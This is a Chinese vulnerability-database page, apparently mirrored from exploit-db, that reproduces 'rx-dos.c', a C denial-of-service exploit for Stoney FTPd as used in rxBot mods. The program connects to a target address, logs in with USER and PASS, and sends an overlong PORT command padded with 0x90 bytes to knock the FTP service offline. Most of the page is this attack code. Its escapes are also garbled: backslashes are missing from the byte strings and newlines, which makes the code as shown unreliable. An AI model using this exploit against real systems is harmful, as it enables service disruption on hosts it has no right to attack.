Stoney FTPd – ‘rxBot mods ftpd’ Denial of Service

admin 2021年4月9日07:26:51网络安全漏洞评论76阅读模式

Stoney FTPd - 'rxBot mods ftpd' Denial of Service

漏洞ID 1055391 漏洞类型
发布时间 2005-09-16 更新时间 2005-09-16
Stoney FTPd – ‘rxBot mods ftpd’ Denial of ServiceCVE编号 N/A
Stoney FTPd – ‘rxBot mods ftpd’ Denial of ServiceCNNVD-ID N/A
漏洞平台 Windows CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/1218
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
/* untested /str0ke */

/*
	rx-dos.c by D-oNe	

	There exists a buffer overflow in Stoneys FTPd that most rxBot mod's use.
	The problem lies in how the code parses the PORT command and gives an opportunity
	for a buffer overflow.
	
	Problem is that the ftpd also uses select() to handle multiple connections. So when
	sending the crafted PORT command select() returns NULL making it return and exit the
	FTPd thread resulting merely in a Denial Of Service of the FTPd with no crash of the bot
	itself.

	Tested with "rxBot reptile 0.37".
*/

#pragma comment(lib, "ws2_32")

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>

unsigned char user[] =
	"x55x53x45x52x20x31";

unsigned char pass[] =
	"x50x41x53x53x20x31";

unsigned char overflow[] =
	"x50x4Fx52x54x20"
	"x31x2Cx31x2Cx31x2Cx31x2Cx31x2Cx31"
	"x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
	"x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
	"x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
	"x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
	"x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
	"x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
	"x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
	"x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
	"x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
	"x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
	"x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
	"x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
	"x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
	"x90x90";

int main(int argc, char *argv[])
{
	char szBuffer[128];
	struct sockaddr_in sin;
	SOCKET sock;
	WSADATA wsadata;
		printf("nrxBot Stoney FTPd Denial Of Service Exploit by D-oNenn");
	if (argc < 3) 
	{
			printf("usage: %s <ip> <port>n", argv[0]);
			printf("[-] Exiting...n");
			return 0;
	}
	if (WSAStartup(0x0202, &wsadata) != 0)
	{
			printf("[-] WSAStartup() failed!n");
			return 0;
	}
		sin.sin_family = AF_INET;
		sin.sin_addr.s_addr = inet_addr(argv[1]);
		sin.sin_port = htons(atoi(argv[2]));
		sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if (sock == SOCKET_ERROR)
	{
			printf("[-] socket() failed!n");
			return 0;
	}
		printf("[+] Connecting...n");
	if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR)
	{
			printf("[-] connec()t failed!n");
			return 0;
	}
		recv(sock, szBuffer, sizeof(szBuffer) - 1, 0);
	if ((szBuffer[0] != '2') && (szBuffer[1] != '2') && (szBuffer[2] != '0'))
	{
			printf("[-] Wrong string received!n");
			return 0;
	}
		printf("[+] Sending USER...n");
	if (!send(sock, user, sizeof(user), 0))
	{
			printf("[-] send() failed!n");
			return 0;
	}
		recv(sock, szBuffer, sizeof(szBuffer) - 1, 0);
	if ((szBuffer[0] != '3') && (szBuffer[1] != '3') && (szBuffer[2] != '1'))
	{
			printf("[-] Wrong string received!n");
			return 0;
	}
		printf("[+] Sending PASS...n");
	if (!send(sock, pass, sizeof(pass), 0))
	{
			printf("[-] send() failed!n");
			return 0;
	}
		recv(sock, szBuffer, sizeof(szBuffer) - 1, 0);
	if ((szBuffer[0] != '2') && (szBuffer[1] != '3') && (szBuffer[2] != '0'))
	{
			printf("[-] Wrong string received!n");
			return 0;
	}
		printf("[+] Sending malicious PORT command...n");
	if (!send(sock, overflow, sizeof(overflow), 0))
	{
			printf("[-] send() failed!n");
			return 0;
	}
		memset(szBuffer, 0, sizeof(szBuffer));
		recv(sock, szBuffer, sizeof(szBuffer) - 1, 0);
		szBuffer[strlen(szBuffer) - 1] = '';
		printf("[+] Recvd: %sn", szBuffer);
		closesocket(sock);
		WSACleanup();
		printf("[+] FTPd should be out of service!n", szBuffer);
		return 0;
}

// milw0rm.com [2005-09-16]

相关推荐: 系统日志文件拒绝服务漏洞

系统日志文件拒绝服务漏洞 漏洞ID 1207495 漏洞类型 未知 发布时间 1997-08-01 更新时间 2005-05-02 CVE编号 CVE-1999-0566 CNNVD-ID CNNVD-199708-005 漏洞平台 N/A CVSS评分 5.…

相关文章
weinxin
我的微信
微信扫一扫
admin
  • 本文由 发表于 2021年4月9日07:26:51
  • 转载请保留本文链接:https://aqxbk.com/archives/security/securityvulns/2021/04_09/49272.html